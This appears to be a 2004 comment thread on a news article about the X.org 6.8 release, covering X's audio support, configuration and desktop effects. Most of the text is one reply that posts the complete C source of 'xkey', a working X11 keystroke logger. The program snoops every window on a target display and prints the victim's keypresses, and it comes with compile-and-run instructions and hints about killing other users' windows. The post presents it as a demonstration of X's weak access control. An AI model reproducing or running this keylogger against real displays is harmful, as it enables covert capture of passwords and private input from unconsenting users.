The X.org 6.8 release

Posted Sep 9, 2004 11:11 UTC (Thu) by Duncan (guest, #6647) [Link]

Posted Sep 9, 2004 12:58 UTC (Thu) by sbergman27 (subscriber, #10767) [Link]

Posted Sep 9, 2004 13:03 UTC (Thu) by iabervon (subscriber, #722) [Link]

Posted Sep 9, 2004 13:06 UTC (Thu) by sdalley (subscriber, #18550) [Link]

Jim Gettys Open Source Desktop Technology Road Map has a brief but useful summary on audio and multimedia, as well as a good overview of where X is going.

The current artsd and esd sound servers for KDE and Gnome don't seem to be evolving further. But the Media Application Server is surely worth a look. It is so ambitious in scope that X support is a mere detail!

Posted Sep 9, 2004 13:23 UTC (Thu) by NAR (subscriber, #1313) [Link]

About 8 years ago when I was sitting in front of an X terminal, I was able to listen to music played by a program running on the Solaris server. However, I don't know what kind of protocol was used between the (diskless) X terminal and the server.

Posted Sep 9, 2004 19:20 UTC (Thu) by smoogen (subscriber, #97) [Link]

It might be possible once things are more componentized.. that way someone could put in some sort of Xiph X module and it work then.. but I dont think it would be easy until then.

Posted Sep 10, 2004 10:34 UTC (Fri) by stevem (subscriber, #1512) [Link]

See http://radscan.com/nas.html

Posted Sep 11, 2004 0:21 UTC (Sat) by lakeland (subscriber, #1157) [Link]

Posted Sep 16, 2004 14:49 UTC (Thu) by job (subscriber, #670) [Link]

Posted Sep 9, 2004 14:33 UTC (Thu) by Dom2 (guest, #458) [Link]

-Dom

Posted Sep 9, 2004 14:35 UTC (Thu) by jg (subscriber, #17537) [Link]

2) we are painfully aware of the configuration nightmare.

Are you aware that, on modern hardware, your X server may work
without any xorg.conf file at all?

That being said, there is a lot of interest/plans in this area;
I encourage you to come help.

Posted Sep 10, 2004 13:39 UTC (Fri) by hppnq (guest, #14462) [Link]

So this is one in which I welcome the frivolous over the rock solid technology: bring it on, the eye candy! (Actually, I think it is quite important to have attractive desktops, and I can see how especially drop shadows improve ease of use). I would worry more over security (another aspect of X that has quite a bit of history), but I guess that's taken care of?

To me, it looks great!

Posted Sep 9, 2004 19:22 UTC (Thu) by smoogen (subscriber, #97) [Link]

Posted Sep 9, 2004 22:29 UTC (Thu) by gurulabs (subscriber, #10753) [Link]

/* To compile, run it through your favorite ansi compiler something like
* this :
*
* gcc -o xkey xkey.c -lX11 -lm
*
* To run it, just use it like this : xkey displayname:0
* and watch as that display's keypresses show up in your shell window.
*
* Dominic Giampaolo (nick@cs.maxine.wpi.edu)
*/
#include <stdio.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>
#include <X11/Xutil.h>
#include <X11/Shell.h>

char *TranslateKeyCode(XEvent *ev);


Display *d;

void snoop_all_windows(Window root, unsigned long type)
{
static int level = 0;
Window parent, *children, *child2;
unsigned int nchildren;
int stat, i,j,k;

level++;

stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
if (stat == FALSE)
{
fprintf(stderr, "Can't query window tree...\n");
return;
}

if (nchildren == 0)
return;

/* For a more drastic inidication of the problem being exploited
* here, you can change these calls to XSelectInput() to something
* like XClearWindow(d, children[i]) or if you want to be real
* nasty, do XKillWindow(d, children[i]). Of course if you do that,
* then you'll want to remove the loop in main().
*
* The whole point of this exercise being that I shouldn't be
* allowed to manipulate resources which do not belong to me.
*/
XSelectInput(d, root, type);

for(i=0; i < nchildren; i++)
{
XSelectInput(d, children[i], type);
snoop_all_windows(children[i], type);
}

XFree((char *)children);
}


void main(int argc, char **argv)
{
char *hostname;
char *string;
XEvent xev;
int count = 0;

if (argv[1] == NULL)
hostname = ":0";
else
hostname = argv[1];

d = XOpenDisplay(hostname);
if (d == NULL)
{
fprintf(stderr, "Blah, can't open display: %s\n", hostname);
exit(10);
}

snoop_all_windows(DefaultRootWindow(d), KeyPressMask);

while(1)
{
XNextEvent(d, &xev);

string = TranslateKeyCode(&xev);
if (string == NULL)
continue;

if (*string == '\r')
printf("\n");
else if (strlen(string) == 1)
printf("%s", string);
else
printf("<<%s>>", string);
fflush(stdout);
}
}


#define KEY_BUFF_SIZE 256
static char key_buff[KEY_BUFF_SIZE];

char *TranslateKeyCode(XEvent *ev)
{
int count;
char *tmp;
KeySym ks;

if (ev)
{
count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
key_buff[count] = '\0';

if (count == 0)
{
tmp = XKeysymToString(ks);
if (tmp)
strcpy(key_buff, tmp);
else
strcpy(key_buff, "");
}
return key_buff;
}
else
return NULL;
}